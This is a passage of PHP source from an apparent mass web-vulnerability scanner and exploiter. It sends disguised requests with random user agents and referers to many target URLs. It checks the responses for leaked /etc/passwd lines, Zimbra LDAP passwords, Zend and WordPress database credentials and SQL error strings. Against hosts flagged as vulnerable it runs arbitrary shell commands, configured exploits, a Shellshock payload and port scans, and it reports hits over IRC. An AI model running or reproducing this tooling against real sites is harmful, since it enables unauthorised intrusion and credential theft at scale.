        'Kalango', 'KateOS', 'Knoppix', 'Kurumin', 'Dizinha', 'TupiServer', 'Linspire', 'Litrix', 'Mandrake', 'Mandriva', 'MEPIS',
        'Musix GNU Linux', 'Musix-BR', 'OneBase Go', 'openSuSE', 'pQui Linux', 'PCLinuxOS', 'Plaszma OS', 'Puppy Linux', 'QiLinux',
        'Red Hat Linux', 'Red Hat Enterprise Linux', 'CentOS', 'Fedora', 'Resulinux', 'Rxart', 'Sabayon Linux', 'SAM Desktop', 'Satux',
        'Slackware', 'GoblinX', 'Slax', 'Zenwalk', 'SuSE', 'Caixa Mágica', 'HP-UX', 'IRIX', 'OSF/1', 'OS-9', 'POSYS', 'QNX', 'Solaris',
        'OpenSolaris', 'SunOS', 'SCO UNIX', 'Tropix', 'EROS', 'Tru64', 'Digital UNIX', 'Ultrix', 'UniCOS', 'UNIflex', 'Microsoft Xenix',
        'z/OS', 'Xinu', 'Research Unix', 'InfernoOS'
    );

    $locais = array('cs-CZ', 'en-US', 'sk-SK', 'pt-BR', 'sq_AL', 'sq', 'ar_DZ', 'ar_BH', 'ar_EG', 'ar_IQ', 'ar_JO',
        'ar_KW', 'ar_LB', 'ar_LY', 'ar_MA', 'ar_OM', 'ar_QA', 'ar_SA', 'ar_SD', 'ar_SY', 'ar_TN', 'ar_AE', 'ar_YE', 'ar',
        'be_BY', 'be', 'bg_BG', 'bg', 'ca_ES', 'ca', 'zh_CN', 'zh_HK', 'zh_SG', 'zh_TW', 'zh', 'hr_HR', 'hr', 'cs_CZ', 'cs',
        'da_DK', 'da', 'nl_BE', 'nl_NL', 'nl', 'en_AU', 'en_CA', 'en_IN', 'en_IE', 'en_MT', 'en_NZ', 'en_PH', 'en_SG', 'en_ZA',
        'en_GB', 'en_US', 'en', 'et_EE', 'et', 'fi_FI', 'fi', 'fr_BE', 'fr_CA', 'fr_FR', 'fr_LU', 'fr_CH', 'fr', 'de_AT', 'de_DE',
        'de_LU', 'de_CH', 'de', 'el_CY', 'el_GR', 'el', 'iw_IL', 'iw', 'hi_IN', 'hu_HU', 'hu', 'is_IS', 'is', 'in_ID', 'in', 'ga_IE',
        'ga', 'it_IT', 'it_CH', 'it', 'ja_JP', 'ja_JP_JP', 'ja', 'ko_KR', 'ko', 'lv_LV', 'lv', 'lt_LT', 'lt', 'mk_MK', 'mk', 'ms_MY',
        'ms', 'mt_MT', 'mt', 'no_NO', 'no_NO_NY', 'no', 'pl_PL', 'pl', 'pt_PT', 'pt', 'ro_RO', 'ro', 'ru_RU', 'ru', 'sr_BA', 'sr_ME',
        'sr_CS', 'sr_RS', 'sr', 'sk_SK', 'sk', 'sl_SI', 'sl', 'es_AR', 'es_BO', 'es_CL', 'es_CO', 'es_CR', 'es_DO', 'es_EC', 'es_SV',
        'es_GT', 'es_HN', 'es_MX', 'es_NI', 'es_PA', 'es_PY', 'es_PE', 'es_PR', 'es_ES', 'es_US', 'es_UY', 'es_VE', 'es', 'sv_SE',
        'sv', 'th_TH', 'th_TH_TH', 'th', 'tr_TR', 'tr', 'uk_UA', 'uk', 'vi_VN', 'vi'
    );
    return $agentBrowser[rand(0, count($agentBrowser) - 1)] . '/' . rand(1, 20) . '.' . rand(0, 20) . ' (' . $agentSistema[rand(0, count($agentSistema) - 1)] . ' ' . rand(1, 7) . '.' . rand(0, 9) . '; ' . $locais[rand(0, count($locais) - 1)] . ';)';
}

################################################################################
#RESPONSIBLE FOR RUN COMMANDS IN TERMINAL the installation of facilities########
################################################################################

function __installDepencia() {

    echo __bannerlogo() . __plus();
    echo "\n{$_SESSION["c15"]}|_[ * ]__{$_SESSION["c0"]}\n";
    echo "         {$_SESSION["c15"]}|[EXTERNAL COMMAND INSTALLING PREMISES ]:: {$_SESSION["c11"]}\n";
    $dados = system("sudo apt-get install curl libcurl3 libcurl3-dev php5 php5-cli php5-curl", $dados) . __plus();
    sleep(1) . __plus();
    echo "{$_SESSION["c0"]}";
    if (empty($dados)) {

        return FALSE;
    }
    unset($dados);
    exit();
}

################################################################################
#RESPONSIBLE FOR RUN COMMANDS IN TERMINAL#######################################
################################################################################

function __command($commando, $alvo) {

    if (!is_null($commando)) {

        (strstr($commando, '_TARGET_') ||
                strstr($commando, '_TARGETFULL_') ||
                strstr($commando, '_TARGETIP_') ||
                strstr($commando, '_EXPLOIT_') ||
                strstr($commando, '_URI_') ||
                strstr($commando, '_URI_') ||
                strstr($commando, '_PORT_') ||
                strstr($commando, '_RANDOM_') ? NULL :
                        __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c2"]}SET PARAMETER - command correctly{$_SESSION["c0"]}\n"));

        $uri = parse_url($alvo['url_xpl']);

        $command[0] = str_replace("_TARGET_", "{$_SESSION["c8"]}" . __filterHostname($alvo['url_xpl']) . "{$_SESSION["c1"]}", $commando);
        $command[0] = str_replace('_TARGETIP_', "{$_SESSION["c9"]}{$_SESSION['config']['server_ip']}{$_SESSION["c1"]}", $command[0]);
        $command[0] = str_replace('_TARGETFULL_', "{$_SESSION["c14"]}{$alvo['url_clean']}{$_SESSION["c1"]}", $command[0]);
        $command[0] = str_replace('_TARGETXPL_', "{$_SESSION["c14"]}{$alvo['url_xpl']}{$_SESSION["c1"]}", $command[0]);
        $command[0] = str_replace("_EXPLOIT_", "{$_SESSION["c6"]}{$_SESSION['config']['exploit-command']}{$_SESSION["c1"]}", $command[0]);
        $command[0] = str_replace('_URI_', "{$_SESSION["c8"]}{$uri['path']}{$_SESSION["c1"]}", $command[0]);
        $command[0] = str_replace('_PORT_', "{$_SESSION["c9"]}{$alvo['url_port']}{$_SESSION["c1"]}", $command[0]);
        $command[0] = str_replace('_RANDOM_', "{$_SESSION["c15"]}" . random(5) . "{$_SESSION["c1"]}", $command[0]);

        $command[0] = __crypt($command[0]);

        $command[1] = str_replace("_TARGET_", __filterHostname($alvo['url_clean']), $commando);
        $command[1] = str_replace('_TARGETIP_', $_SESSION['config']['server_ip'], $command[1]);
        $command[1] = str_replace('_TARGETFULL_', $alvo['url_clean'], $command[1]);
        $command[1] = str_replace('_TARGETXPL_', $alvo['url_xpl'], $command[1]);
        $command[1] = str_replace("_EXPLOIT_", $_SESSION['config']['exploit-command'], $command[1]);
        $command[1] = str_replace("_URI_", $uri['path'], $command[1]);
        $command[1] = str_replace("_PORT_", $alvo['url_port'], $command[1]);
        $command[1] = str_replace("_RANDOM_", random(5), $command[1]);
        $command[1] = str_replace("\n", '', str_replace("\r", '', $command[1]));

        $command[1] = __crypt($command[1]);

        echo "\n{$_SESSION["c1"]}|_[ * ]__\n";
        echo "         |[ EXTERNAL COMMAND ]:: {$command[0]}{$_SESSION["c11"]}\n";
        $_ = array(0 => ($_SESSION['config']['popup']) ? 'sudo xterm -geometry 134x50+1900+0 -title "Auxiliary Window - INURLBR / COMMAND" -e ' : NULL, 1 => ($_SESSION['config']['popup']) ? ' > /dev/null &' : NULL);
        echo ($_SESSION['config']['popup'] ? "\t[!] opening auxiliary window...\n" : NULL);
        $dados = system($_[0] . $command[1] . $_[1], $dados);
        sleep(1) . __plus();

        echo $_SESSION["c0"];
    }
    if (empty($dados[0])) {

        return FALSE;
    }
    unset($dados);
}

################################################################################
#FILTER BY TAKING ONLY RESPONSIBLE URL HOSTNAME#################################
################################################################################

function __filterHostname($url) {

    $alvo_ = NULL;
    //#\b((((ht|f)tps?://*)|(www|ftp)\.)[a-zA-Z0-9-\.]+)#i - 1.0
    preg_match_all('@^(?:(ht|f)tps?://*)?([^/]+)@i', $url, $alvo_);
    return str_replace("/", '', str_replace("ftps:", '', str_replace("ftp:", '', str_replace("https:", '', str_replace("http:", '', $alvo_[0][0])))));
}

################################################################################
#RESPONSIBLE FOR ALL REQUESTS GET / POST THE SCRIPT#############################
################################################################################
/*
  curl_multi_init — Returns a new cURL multi handle
  (PHP 5) http://php.net/manual/en/function.curl-multi-init.php
 */

function __request_info($url_, $proxy = NULL, $postDados = NULL) {

    $url_ = __crypt($url_);
    $mh = curl_multi_init();
    $curl_array = array();
    $nodes = is_array($url_) ? $url_ : array($url_);

    foreach ($nodes as $i => $url) {

        $curl_array[$i] = curl_init($url);

        __plus();

        //FORMATANDO POST & EXECUTANDO urlencode EM CADA VALOR DO POST.
        if (not_isnull_empty($postDados) && is_array($postDados)) {

            foreach ($postDados as $campo => $valor) {

                $postDados_format .= "{$campo}=" . urlencode($valor) . '&';
            }

            $postDados_format = rtrim($postDados_format, '&');
            curl_setopt($curl_array[$i], CURLOPT_POST, count($postDados));
            curl_setopt($curl_array[$i], CURLOPT_POSTFIELDS, __crypt($postDados_format));
        }

        curl_setopt($curl_array[$i], CURLOPT_HTTPHEADER, array_merge(not_isnull_empty($_SESSION['config']['http-header']) ?
                                explode(',', __crypt($_SESSION['config']['http-header'])) : array(), array("Cookie: disclaimer_accepted=true")));
        curl_setopt($curl_array[$i], CURLOPT_USERAGENT, (not_isnull_empty($_SESSION['config']['user-agent'])) ?
                        __crypt($_SESSION['config']['user-agent']) : __setUserAgentRandom());
        curl_setopt($curl_array[$i], CURLOPT_REFERER, (not_isnull_empty($_SESSION['config']['url-reference'])) ?
                        __crypt($_SESSION['config']['url-reference']) : __setURLReferenceRandom());

        (!is_null($proxy) ? curl_setopt($curl_array[$i], CURLOPT_PROXY, $proxy) : NULL);
        (!is_null($_SESSION['config']['verifica_info'])) ? curl_setopt($curl_array[$i], CURLOPT_HEADER, 1) : NULL;
        (!is_null($_SESSION['config']['verifica_info']) && __validateOptions('3,6', $_SESSION['config']['debug']) ?
                        curl_setopt($curl_array[$i], CURLOPT_VERBOSE, 1) : NULL);

        __plus();
        curl_setopt($curl_array[$i], CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($curl_array[$i], CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($curl_array[$i], CURLOPT_FRESH_CONNECT, 1);
        curl_setopt($curl_array[$i], CURLOPT_RETURNTRANSFER, 1);

        curl_setopt($curl_array[$i], CURLOPT_CONNECTTIMEOUT, not_isnull_empty($_SESSION['config']['time-out']) ?
                        $_SESSION['config']['time-out'] : 5);

        curl_setopt($curl_array[$i], CURLOPT_TIMEOUT, not_isnull_empty($_SESSION['config']['time-out']) ?
                        $_SESSION['config']['time-out'] : 5);

        curl_setopt($curl_array[$i], CURLOPT_COOKIEFILE, not_isnull_empty($_SESSION['config']['file-cookie']) ?
                        $_SESSION['config']['file-cookie'] : 'cookie.txt');

        curl_setopt($curl_array[$i], CURLOPT_COOKIEJAR, not_isnull_empty($_SESSION['config']['file-cookie']) ?
                        $_SESSION['config']['file-cookie'] : 'cookie.txt');

        curl_multi_add_handle($mh, $curl_array[$i]);
    }
    $running = NULL;
    do {

        usleep(100);
        curl_multi_exec($mh, $running);
    } while ($running > 0);
    $ret = array();
    foreach ($nodes as $i => $url) {

        $ret[0] = curl_multi_getcontent($curl_array[$i]);
        $ret[1] = curl_getinfo($curl_array[$i]);
        $ret[2] = curl_error($curl_array[$i]);
    }
    foreach ($nodes as $i => $url) {
        curl_multi_remove_handle($mh, $curl_array[$i]);
    }

    $status = NULL;
    preg_match_all('(HTTP.*)', $ret[0], $status['http']);
    preg_match_all('(Server:.*)', $ret[0], $status['server']);
    preg_match_all('(X-Powered-By:.*)', $ret[0], $status['X-Powered-By']);

    __plus();
    $ret[3] = str_replace("\r", '', str_replace("\n", '', "{$status['http'][0][0]}, {$status['server'][0][0]}  {$status['X-Powered-By'][0][0]}"));
    __debug(array('debug' => "[ BODY ]{$ret[0]}", 'function' => '__request_info'), 4);

    __plus();
    __debug(array('debug' => "[ URL ]{$url_}", 'function' => '__request_info'), 2);

    __plus();
    curl_multi_close($mh) . unlink('cookie.txt');

    __plus();
    unset($curl_array);
    return isset($ret[0]) ? array('corpo' => $ret[0], 'server' => $ret[1], 'error' => $ret[2], 'info' => $ret[3]) : FALSE;
}

################################################################################
#CAPTURE INFORMATION SERVER AND VALIDATE FAULTS#################################
################################################################################

function __infoServer($url_, $postDados = NULL) {

    __plus();
    $_SESSION['config']['verifica_info'] = 1;
    $resultado = __request_info($url_, $_SESSION["config"]["proxy"], $postDados);
    __plus();
    if (isset($resultado['corpo'])) {
        if (!is_null($_SESSION['config']['extrai-email'])) {

            __plus();
            return __extractEmail($resultado['corpo'], $url_);
        }

        if (!is_null($_SESSION['config']['extrai-url'])) {

            __plus();
            return __extractURLs($resultado['corpo'], $url_);
        }

        if (not_isnull_empty($_SESSION['config']['regexp-filter'])) {

            __plus();
            return __extractRegCustom($resultado['corpo'], $url_);
        }

        if (not_isnull_empty($_SESSION['config']['target']) && $_SESSION['config']['tipoerro'] == 5) {

            __plus();
            return __checkURLs($resultado, $url_);
        }

        $ifcode = not_isnull_empty($_SESSION['config']['ifcode']) &&
                strstr($resultado['server']['http_code'], $_SESSION['config']['ifcode']) ?
                "CODE_HTTP_FOUND: {$_SESSION['config']['ifcode']} / " : NULL;


        $ifredirect = not_isnull_empty($_SESSION['config']['ifredirect']) &&
                (strstr($resultado['server']['redirect_url'], $_SESSION['config']['ifredirect'])) ?
                'VALUE URL REDIRECT FOUND' : NULL;

        $_SESSION['config']['erroReturn'] = $ifredirect . $ifcode . __checkError($resultado['corpo']);
        __plus();
        $_SESSION['config']['curl_getinfo'] = $resultado['server'];
        $_SESSION['config']['error_conection'] = (not_isnull_empty($resultado['error']) ? $resultado['error'] : NULL);
        $_SESSION['config']['server_ip'] = (!is_null($resultado['server']['primary_ip']) ? $resultado['server']['primary_ip'] : NULL);
        $_SESSION['config']['vull_style'] = (not_isnull_empty($_SESSION['config']['erroReturn'])) ?
                "{$_SESSION["c4"]}( POTENTIALLY VULNERABLE ){$_SESSION["c0"]}  \033[1m \033[32m" . __cli_beep() : NULL;
        $_SESSION['config']['resultado_valores'].=(not_isnull_empty($_SESSION['config']['erroReturn'])) ? "{$url_}\n" : NULL;
        __plus();
        $url_ = ($_SESSION['config']['alexa-rank']) ? ", RANK ALEXA: " . __positionAlexa($url_) : NULL;
        __plus();
        $_SESSION['config']['info_ip'] = __infoIP($resultado['server']['primary_ip'], 1);
        __plus();
    } else {
        return FALSE;
    }
    __plus();

    return "{$resultado['info']}, IP:{$resultado['server']['primary_ip']}:{$resultado['server']['primary_port']} {$url_}";
}

################################################################################
#ERROR MAIN PROCESS RESPONSIBLE FOR ALL VALIDATION OF MOTOR#####################
################################################################################

function __processUrlExec($url, $contUrl) {

    __plus();
    if (is_null($url) || empty($url)) {

        return FALSE;
    }

    $host = (!is_null($_SESSION['config']['replace'])) ?
            __replace($_SESSION['config']['replace'], urldecode($_SESSION['config']['tipoerro'] == 3 ? __filterHostname($url) : ($url))) :
            urldecode($_SESSION['config']['tipoerro'] == 3 ? __filterHostname($url) : ($url));

    $target_['url_xpl'] = __remove($_SESSION['config']['remove'], __mountURLExploit(!is_null($_SESSION['config']['url']) ? $_SESSION['config']['url'] . $host : $host));
    $info = __infoServer($target_['url_xpl'], $_SESSION['config']['exploit-post']);
    $target_['url_clean'] = ($_SESSION['config']['tipoerro'] == 4) ? $_SESSION['config']['url'] . $host : urldecode($url);

    __plus();

    if ($_SESSION['config']['tipoerro'] != 5 && is_null($_SESSION['config']['extrai-email']) &&
            is_null($_SESSION['config']['extrai-url']) && is_null($_SESSION['config']['regexp-filter'])) {

        $ifredirect = strstr($_SESSION['config']['curl_getinfo']['redirect_url'], $_SESSION['config']['ifredirect']) ?
                "{$_SESSION["c4"]}{$_SESSION['config']['curl_getinfo']['redirect_url']}" : NULL;
        $exget = (not_isnull_empty($_SESSION['config']['exploit-get']) ? ' _/GET=> ' . $_SESSION['config']['exploit-get'] : NULL);
        $expost = (not_isnull_empty($_SESSION['config']['exploit-post']) ? ' _/POST=> ' . $_SESSION['config']['exploit-post_str'] : NULL);
        $valid_return = (not_isnull_empty($_SESSION['config']['erroReturn'])) ? TRUE : FALSE;
        $info = ($valid_return) ? "{$_SESSION["c4"]}{$info}" : $info;
        $target_ip = ($valid_return) ? "{$_SESSION["c4"]}{$_SESSION['config']['info_ip']}" : $_SESSION['config']['info_ip'];

        $anime = ($valid_return) ? '[ ! ]' : '[ - ]';
        echo __plus() . "\n";

        echo "{$_SESSION["c1"]}{$_SESSION['config']['line']}{$_SESSION["c0"]}\n";
        echo "{$_SESSION["c1"]}|_[ + ] [{$_SESSION["c1"]} {$contUrl} / {$_SESSION['config']['total_url']} {$_SESSION["c1"]}]{$_SESSION["c9"]}-[" . date("H:i:s") . "]{$_SESSION["c1"]} {$anime} {$_SESSION["c0"]}\n";
        echo "{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}Target:: {$_SESSION["c1"]}[{$_SESSION["c9"]} {$_SESSION['config']['vull_style']}{$target_['url_clean']}{$_SESSION["c1"]} ]{$_SESSION["c0"]}\n";
        echo "{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}Exploit:: {$_SESSION["c0"]}{$_SESSION["c3"]}{$exget}{$expost}{$_SESSION["c0"]}\n";
        echo (not_isnull_empty($_SESSION['config']['replace'])) ? ("{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}Replace:: {$_SESSION["c0"]}{$_SESSION["c3"]}{$_SESSION['config']['replace']}{$_SESSION["c0"]}\n") : NULL;
        echo (not_isnull_empty($_SESSION['config']['remove'])) ? ("{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}Remove:: {$_SESSION["c0"]}{$_SESSION["c3"]}{$_SESSION['config']['remove']}{$_SESSION["c0"]}\n") : NULL;
        echo (isset($_SESSION['config']['cms-check-resultado'])) ? ("{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}CMS check:: {$_SESSION["c0"]}{$_SESSION["c3"]}{$_SESSION['config']['cms-check-resultado']}{$_SESSION["c0"]}\n") : NULL;
        echo "{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}Information Server:: {$_SESSION["c0"]}{$_SESSION["c9"]}{$info}{$_SESSION["c1"]}\n";
        echo "{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}More details:: {$_SESSION["c0"]}{$_SESSION["c9"]}{$target_ip}{$_SESSION["c1"]}\n";
        echo "{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}Found:: {$_SESSION["c9"]}" . ($valid_return ? "{$_SESSION["c4"]}{$_SESSION['config']['erroReturn']}" : "UNIDENTIFIED") . "{$_SESSION["c0"]}";
        echo (not_isnull_empty($ifredirect) ? "\n{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}URL REDIRECT:: {$_SESSION["c9"]}{$ifredirect}{$_SESSION["c0"]}" : NULL);
        echo (not_isnull_empty($_SESSION['config']['error_conection']) ? "\n{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}ERROR CONECTION:: {$_SESSION["c2"]}{$_SESSION['config']['error_conection']}{$_SESSION["c0"]}" : NULL);
        ($valid_return ? __saveValue($_SESSION['config']['arquivo_output'], $target_['url_xpl'], 1) : NULL);
        echo ($_SESSION['config']['sendmail'] ? "\n{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}SEND MAIL:: {$_SESSION["c9"]}" . (($valid_return) ? "{$_SESSION["c4"]}" : NULL) . __sendMail($_SESSION['config']['sendmail'], $target_['url_xpl']) . "{$_SESSION["c0"]}" : NULL);
        (not_isnull_empty($_SESSION['config']['arquivo_output_all']) ? __saveValue($_SESSION['config']['arquivo_output_all'], $target_['url_xpl'], NULL) : NULL);
        __plus();

        if ($valid_return) {

            (not_isnull_empty($_SESSION['config']['irc']['irc_connection']) ?
                            __ircMsg($_SESSION['config']['irc'], "{$_SESSION['config']['erroReturn']}::: {$target_['url_xpl']}") : NULL);
            __plus();

            (not_isnull_empty($_SESSION['config']['command-vul']) ? __command($_SESSION['config']['command-vul'], $target_) : NULL);
            __plus();

            (not_isnull_empty($_SESSION['config']['exploit-vul-id']) ?
                            __configExploitsExec($_SESSION['config']['exploit-vul-id'], $target_) : NULL);
            __plus();
        }

        (not_isnull_empty($_SESSION['config']['command-all']) ? __command($_SESSION['config']['command-all'], $target_) : NULL);
        __plus();

        (not_isnull_empty($_SESSION['config']['sub-file']) &&
                is_array($_SESSION['config']['sub-file']) ? __subExecExploits($target_['url_xpl'], $_SESSION['config']['sub-file']) : NULL);
        __plus();

        (not_isnull_empty($_SESSION['config']['exploit-all-id']) ? __configExploitsExec($_SESSION['config']['exploit-all-id'], $target_) : NULL);
        __plus();

        ($_SESSION['config']['robots'] ? __getValuesRobots($host) : NULL);
        __plus();

        (not_isnull_empty($_SESSION['config']['port-scan']) ? __portScan(array(0 => $target_, 1 => $_SESSION['config']['port-scan'])) : NULL);
        __plus();

        __timeSec('delay', "\n");
    }
}

################################################################################
#PRINT MESSAGE AND OUT OF THE PROCESS###########################################
################################################################################

function __getOut($msg) {
    __ircQuit($_SESSION['config']['irc']);
    print_r($msg);
    exit(1);
}

################################################################################
#ERROR MAIN PROCESS RESPONSIBLE FOR ALL VALIDATION OF ENGINE####################
################################################################################

function __process($resultadoURL) {

    __plus();
    $resultadoURL[0] = (is_array($resultadoURL) ? array_unique(array_filter($resultadoURL)) : $resultadoURL);
    $resultadoURL[0] = ($_SESSION['config']['unique'] ? __filterDomainUnique($resultadoURL[0]) : $resultadoURL[0]);

    $resultadoURL[0] = (not_isnull_empty($_SESSION['config']['ifurl']) ? __filterURLif($resultadoURL[0]) : $resultadoURL[0]);
    $_SESSION['config']['total_url'] = count($resultadoURL[0]);

    echo "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c12"]}[ TOTAL FOUND VALUES ]::{$_SESSION["c1"]} [ {$_SESSION['config']['total_url']} ]{$_SESSION["c0"]}\n";
    __debug(array('debug' => $resultadoURL[0], 'function' => '__process'), 3);

    if (count($resultadoURL[0]) > 0) {

        $_SESSION['config']['irc']['irc_connection'] = (not_isnull_empty($_SESSION['config']['irc']['conf']) ? __ircConect($_SESSION['config']['irc']) : NULL);
        $_SESSION['config']['irc']['my_fork'] = pcntl_fork();

        if ($_SESSION['config']['irc']['my_fork'] == 0) {

            (not_isnull_empty($_SESSION['config']['irc']['irc_connection']) ? __ircPong($_SESSION['config']['irc']) : NULL);
            exit(0);
        } else if ($_SESSION['config']['irc']['my_fork'] == -1) {

            __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]}ERROR Fork failed{$_SESSION["c0"]}\n");
        }

        $_SESSION['config']['user-agent'] = ($_SESSION['config']['shellshock']) ? $_SESSION['config']['user_agent_xpl'] : $_SESSION['config']['user-agent'];
        foreach ($resultadoURL[0] as $url) {

            __plus();
            $url = urldecode(not_isnull_empty($_SESSION['config']['target']) ?
                            $_SESSION['config']['target'] . $url : $url);

            if (__validateURL($url) || not_isnull_empty($_SESSION['config']['abrir-arquivo'])) {

                __processUrlExec(__filterURLTAG($url), $_SESSION["config"]["contUrl"] ++);
                __plus();
            }
        }
    } else {

        print_r("{$_SESSION["c1"]}[ INFO ]{$_SESSION["c2"]} Not a satisfactory result was found!{$_SESSION["c0"]}\n");
    }
}

################################################################################
#ERRORS STANDARDS OF SCRIPT VALIDATE WITH HTML RECEIVED#########################
################################################################################

function __checkError($html_) {


    if (__validateOptions($_SESSION['config']['tipoerro'], '2')) {

        $validation['ERROR-CUSTOM'] = not_isnull_empty($_SESSION['config']['achar']) ? $_SESSION['config']['achar'] : NULL;
    }

    if (__validateOptions('1,3,4', $_SESSION['config']['tipoerro'])) {

        if (__validateOptions('3,4', $_SESSION['config']['tipoerro'])) {

            $validation['ERROR-CUSTOM'] = not_isnull_empty($_SESSION['config']['achar']) ? $_SESSION['config']['achar'] : NULL;
        }

        /* [*]SHELLSHOCK
         * (CVE-2014-6271, CVE-2014-6277,
         * CVE-2014-6278, CVE-2014-7169, 
         * CVE-2014-7186, CVE-2014-7187) 
         * is a vulnerability in GNU's bash shell that gives attackers access 
         * to run remote commands on a vulnerable system. */
        $validation['SHELLSHOCK-01'] = '99887766555';

        /* [*]LOCAL FILE INCLUSION
         * Local File Inclusion (also known as LFI) is the process of including 
         * files, that are already locally present on the server, through the 
         * exploiting of vulnerable inclusion procedures implemented in the 
         * application. 
         * https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion */
        $validation['LOCAL-FILE-INCLUSION-01'] = '/root:/';
        $validation['LOCAL-FILE-INCLUSION-02'] = 'root:x:0:0:';
        $validation['LOCAL-FILE-INCLUSION-03'] = 'mysql:x:';

        /* [*]ZIMBRA MAIL
         * Zimbra 0day exploit / Privilegie escalation via LFI
         * This script exploits a Local File Inclusion in
         * /res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz
         * which allows us to see localconfig.xml
         * that contains LDAP root credentials wich allow us to make requests in
         * /service/admin/soap API with the stolen LDAP credentials to create user
         * with administration privlegies
         * and gain acces to the Administration Console.
         * https://www.exploit-db.com/exploits/30085/ */
        $validation['ZIMBRA-WEB-MAIL-01'] = 'zimbra_user';
        $validation['ZIMBRA-WEB-MAIL-02'] = 'zimbra_ldap_password';
        $validation['ZIMBRA-WEB-MAIL-03'] = 'ldap_replication_password';
        $validation['ZIMBRA-WEB-MAIL-04'] = 'ldap_root_password';
        $validation['ZIMBRA-WEB-MAIL-05'] = 'ldap_nginx_password';
        $validation['ZIMBRA-WEB-MAIL-06'] = 'mailboxd_keystore_password';
        $validation['ZIMBRA-WEB-MAIL-07'] = 'zimbra_mysql_password';
        $validation['ZIMBRA-WEB-MAIL-08'] = 'mysql_root_password';
        $validation['ZIMBRA-WEB-MAIL-10'] = 'mailboxd_truststore_password';
        $validation['ZIMBRA-WEB-MAIL-11'] = 'ldap_postfix_password';
        $validation['ZIMBRA-WEB-MAIL-12'] = 'ldap_amavis_password';

        /* [*]ZEND FRAMEWORK
         * Zend-Framework Full Info Disclosure
         * The username and password of the database may be obtained trough 
         * the "application.ini" file
         * https://www.exploit-db.com/exploits/29921/ */
        $validation['ZEND-FRAMEWORK-01'] = 'mail.transport.username';
        $validation['ZEND-FRAMEWORK-02'] = 'mail.transport.password';
        $validation['ZEND-FRAMEWORK-03'] = 'db.params.username';
        $validation['ZEND-FRAMEWORK-04'] = 'db.params.password';
        $validation['ZEND-FRAMEWORK-05'] = 'db.params.dbname';

        /* [*]CMS WORDPRESS
         * As the name suggests, if the web application doesn’t check the file 
         * name required by the user, any malicious user can exploit this 
         * vulnerability to download sensitive files from the server.
         * Arbitrary File Download vulnerability file wp-config.php
         * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
         * http://www.acunetix.com/vulnerabilities/web/wordpress-plugin-slider-revolution-arbitrary-file-disclosure */
        $validation['CMS-WORDPRESS-01'] = "define('DB_NAME'";
        $validation['CMS-WORDPRESS-02'] = "define('DB_USER'";
        $validation['CMS-WORDPRESS-03'] = "define('DB_PASSWORD'";
        $validation['CMS-WORDPRESS-04'] = "define('DB_HOST'";

        /* [*]ERROR MARIADB
         * MariaDB is a drop-in replacement for MySQL.
         * MariaDB strives to be the logical choice for database professionals 
         * looking for a robust, scalable, and reliable SQL server. To accomplish 
         * this, the MariaDB Foundation work closely and cooperatively with the 
         * larger community of users and developers in the true spirit of Free 
         * and open source software, and release software in a manner that 
         * balances predictability with reliability.
         * https://mariadb.org/en/about/ */
        $validation['MARIADB-01'] = 'MariaDB server version for the right syntax';

        /* [*]ERROR MYSQL
         * MySQL is a database management system (DBMS), which uses the SQL 
         * (Structured Query Language, English Structured Query Language) as 
         * interface. It is currently one of the most popular databases, with 
         * more than 10 million installations worldwide
         * https://www.mysql.com/ 
         * http://php.net/manual/en/security.database.sql-injection.php
         */
        $validation['MYSQL-AND-MARIADB'] = 'You have an error in your SQL syntax;';
        $validation['MYSQL-03'] = 'Warning: mysql_';
        $validation['MYSQL-04'] = 'function.mysql';
        $validation['MYSQL-05'] = 'MySQL result index';
        $validation['MYSQL-07'] = 'MySQL Error';
        $validation['MYSQL-08'] = 'MySQL ODBC';
        $validation['MYSQL-09'] = 'MySQL Driver';
        $validation['MYSQL-10'] = 'mysqli.query';
        $validation['MYSQL-11'] = 'num_rows';
        $validation['MYSQL-12'] = 'mysql error:';
        $validation['MYSQL-13'] = 'supplied argument is not a valid MySQL result resource';
        $validation['MYSQL-14'] = 'on MySQL result index';
        $validation['MYSQL-15'] = 'Error Executing Database Query';
        $validation['MYSQL-01'] = 'mysql_';

        /* [*]ERROR MICROSOFT
         * MICROSOFT TECHNOLOGY
         * http://www.microsoft.com/pt-br/server-cloud/products/sql-server/
         * https://products.office.com/pt-br/access 
         * https://www.owasp.org/index.php/Testing_for_SQL_Server */
        $validation['MICROSOFT-01'] = 'Microsoft JET Database';
        $validation['MICROSOFT-02'] = 'ADODB.Recordset';
        $validation['MICROSOFT-03'] = '500 - Internal server error';
        $validation['MICROSOFT-04'] = 'Microsoft OLE DB Provider';
        $validation['MICROSOFT-05'] = 'Unclosed quotes';
        $validation['MICROSOFT-06'] = 'ADODB.Command';
        $validation['MICROSOFT-07'] = 'ADODB.Field error';
        $validation['MICROSOFT-08'] = 'Microsoft VBScript';
        $validation['MICROSOFT-09'] = 'Microsoft OLE DB Provider for SQL Server';
        $validation['MICROSOFT-10'] = 'Unclosed quotation mark';
        $validation['MICROSOFT-11'] = 'Microsoft OLE DB Provider for Oracle';
        $validation['MICROSOFT-14'] = 'Active Server Pages error';
        $validation['MICROSOFT-15'] = 'OLE/DB provider returned message';
